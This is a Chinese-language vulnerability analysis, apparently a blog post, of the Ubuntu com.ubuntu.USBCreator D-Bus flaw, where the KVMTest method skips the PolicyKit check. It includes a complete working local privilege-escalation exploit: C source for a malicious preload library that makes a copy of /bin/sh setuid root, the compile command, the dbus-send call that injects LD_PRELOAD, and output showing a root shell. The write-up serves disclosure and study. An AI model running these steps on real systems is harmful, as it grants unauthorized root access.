漏洞描述: ubuntu下D-bus服务会默认挂载 com.ubuntu.USBCreator 这个服务。由于这个接口的KVMTest 方法没有调用check_polkit,通过给sh设置suid位来达到提权的目的。
一:D-Bus 简介和使用
dbus是一个低延迟,低开销,高可用的ipc机制。
http://dbus.freedesktop.org/doc/dbus-python/doc/tutorial.html
查看system总线上可挂载的服务:
dbus-send --system --print-reply --dest=org.freedesktop.DBus /org/freedesktop/DBus org.freedesktop.DBus.ListActivatableNames
查看session总线上可挂载的服务:
dbus-send --session -print-reply --dest=org.freedesktop.DBus /org/freedesktop/DBus org.freedesktop.DBus.ListActivatableNames
查看已经挂载system总线上的服务:
dbus-send --system --print-reply --dest=org.freedesktop.DBus /org/freedesktop/DBus org.freedesktop.DBus.ListNames
二:分析重现
先看下是否已挂载usbcreator服务:
root@H:~# dbus-send --system --print-reply --dest=org.freedesktop.DBus /org/freedesktop/DBus org.freedesktop.DBus.ListNames method return sender=org.freedesktop.DBus -> dest=:1.3264 reply_serial=2 array [ string "org.freedesktop.DBus" string ":1.7" string ":1.1505" string ":1.8" string ":1.9" string "org.freedesktop.NetworkManager" string "org.freedesktop.ModemManager" string "com.ubuntu.Upstart" string "org.freedesktop.Accounts" string "org.freedesktop.RealtimeKit1" string ":1.3097" string "com.canonical.NMOfono" string "org.freedesktop.PolicyKit1" string ":1.21" string ":1.23" string ":1.24" string ":1.49" string ":1.2920" string "fi.epitest.hostap.WPASupplicant" string ":1.2921" string ":1.29" string "com.ubuntu.USBCreator" string "org.freedesktop.Avahi" string "org.freedesktop.UDisks" string "org.freedesktop.UDisks2" string "fi.w1.wpa_supplicant1" string "org.freedesktop.login1" string "org.freedesktop.ColorManager" string "org.freedesktop.DisplayManager" string ":1.3264" string "org.freedesktop.NetworkManager.dnsmasq" string ":1.30" string ":1.52" string ":1.10" string ":1.3102" string "org.freedesktop.UPower" string ":1.0" string ":1.13" string ":1.14" string ":1.2" string ":1.37" string ":1.101" string ":1.2952" string ":1.3" string ":1.16" string ":1.102" string ":1.2953" string ":1.2954" string ":1.4" string ":1.39" string ":1.5" string ":1.6" ]
可以看到
string "com.ubuntu.USBCreator"
说明此服务已经被挂载。(ubuntu默认挂载)
查看此服务的配置文件:
root@H:/etc/dbus-1/system.d# cat com.ubuntu.USBCreator.conf <!DOCTYPE busconfig PUBLIC "-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN" "http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd"> <busconfig> <!-- Only root can own the service --> <policy user="root"> <allow own="com.ubuntu.USBCreator"/> </policy> <!-- Allow anyone to invoke methods (further constrained by PolicyKit privileges --> <policy context="default"> <allow send_destination="com.ubuntu.USBCreator" send_interface="com.ubuntu.USBCreator"/> <allow send_destination="com.ubuntu.USBCreator" send_interface="org.freedesktop.DBus.Introspectable"/> <allow send_destination="com.ubuntu.USBCreator" send_interface="org.freedesktop.DBus.Properties"/> </policy> </busconfig>
脚本代码在/usr/share/usb-creator/usb-creator-helper。
KVMTest方法没有check_polkit来处理权限:
100 @dbus.service.method(USBCREATOR_IFACE, in_signature='sa{ss}', out_signature='') 101 def KVMTest(self, device, env): 102 '''Run KVM with the freshly created device as the first disk.''' 103 for key in ('DISPLAY', 'XAUTHORITY'): 104 if key not in env: 105 logging.debug('Missing %s' % key) 106 return 107 bus = dbus.SystemBus() 108 dev = bus.get_object(DISKS_IFACE, device) 109 if dev.Get(device, 'device-is-partition', dbus_interface=PROPS_IFACE): 110 device = dev.Get(device, 'partition-slave', dbus_interface=PROPS_IFACE) 111 dev = bus.get_object(DISKS_IFACE, device) 112 # TODO unmount all the partitions. 113 dev_file = dev.Get(device, 'device-file', dbus_interface=PROPS_IFACE) 114 if mem_free() >= 768: 115 envp = [] 116 for k, v in env.items(): 117 envp.append('%s=%s' % (str(k), str(v))) 118 cmd = ('kvm', '-m', '512', '-hda', str(dev_file)) 119 flags = (GObject.SPAWN_SEARCH_PATH) 120 # Don't let SIGINT propagate to the child. 121 GObject.spawn_async(cmd, envp=envp, flags=flags, child_setup=os.setsid)
check_polkit方法的代码如下:
288 # Taken from Jockey 0.5.3. 289 def check_polkit(self, sender, conn, priv): 290 if sender is None and conn is None: 291 return 292 if self.dbus_info is None: 293 self.dbus_info = dbus.Interface(conn.get_object( 294 'org.freedesktop.DBus', 295 '/org/freedesktop/DBus/Bus', 296 False), 'org.freedesktop.DBus') 297 pid = self.dbus_info.GetConnectionUnixProcessID(sender) 298 if self.polkit is None: 299 self.polkit = dbus.Interface(dbus.SystemBus().get_object( 300 'org.freedesktop.PolicyKit1', 301 '/org/freedesktop/PolicyKit1/Authority', 302 False), 'org.freedesktop.PolicyKit1.Authority') 303 try: 304 # we don't need is_challenge return here, since we call with 305 # AllowUserInteraction 306 (is_auth, _, details) = self.polkit.CheckAuthorization( 307 ('system-bus-name', {'name': dbus.String(sender, 308 variant_level = 1)}), priv, {'': ''}, 309 dbus.UInt32(1), '', timeout=600) 310 except dbus.DBusException as e: 311 if e._dbus_error_name == 'org.freedesktop.DBus.Error.ServiceUnknown': 312 # polkitd timed out, connect again 313 self.polkit = None 314 return self.check_polkit(sender, conn, priv) 315 else: 316 raise 317 318 if not is_auth: 319 logging.debug('_check_polkit_privilege: sender %s on connection %s ' 320 'pid %i is not authorized for %s: %s' % 321 (sender, conn, pid, priv, str(details))) 322 raise dbus.DBusException('com.ubuntu.USBCreator.Error.NotAuthorized')
复现过程:
1. 动态库源码
$ cat test.c void __attribute__((constructor)) init (void) { chown("/tmp/test", 0, 0); chmod("/tmp/test", 04755); }
编译动态库
gcc -shared -fPIC -o /tmp/test.so test.c
3. 复制/bin/sh 到/tmp/test (动态库源码中指定的)并发送dbus 消息
$ cp /bin/sh /tmp/test $ dbus-send --print-reply --system --dest=com.ubuntu.USBCreator /com/ubuntu/USBCreator com.ubuntu.USBCreator.KVMTest string:/org/freedesktop/UDisks/devices/sda dict:string:string:DISPLAY,"foo",XAUTHORITY,"foo",LD_PRELOAD,"/tmp/test.so"
tips: http://www.openwall.com/lists/oss-security/2015/04/22/12中的测试发送的dbus 消息中的对象路径为 /dev/sda , 在这里测试报 dbus.exceptions.DBusException: org.freedesktop.DBus.Error.UnknownMethod: Method “Get” with signature “ss” on interface “org.freedesktop.DBus.Properties” doesn’t exist 的错误。改为/org/freedesktop/UDisks/devices/sda 错误解决。
发送dbus 消息前。 $ cp /bin/sh /tmp/test && ls -l /tmp/test -rwxr-xr-x 1 test test 105712 Apr 24 14:45 /tmp/test 发送dbus 消息后 $ dbus-send --print-reply --system --dest=com.ubuntu.USBCreator /com/ubuntu/USBCreator com.ubuntu.USBCreator.KVMTest string:/org/freedesktop/UDisks/devices/sda dict:string:string:DISPLAY,"foo",XAUTHORITY,"foo",LD_PRELOAD,"/tmp/test.so" method return sender=:1.2952 -> dest=:1.3144 reply_serial=2 $ ls -l test -rwsr-xr-x 1 root root 105712 Apr 24 14:45 test //s位已经被设置了。 $ ./test # whoami root # id uid=1002(test) gid=1002(test) euid=0(root) groups=0(root),1002(test)
参考链接:
https://www.exploit-db.com/exploits/36820/
http://www.openwall.com/lists/oss-security/2015/04/22/12
http://dbus.freedesktop.org/doc/dbus-python/doc/tutorial.html
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论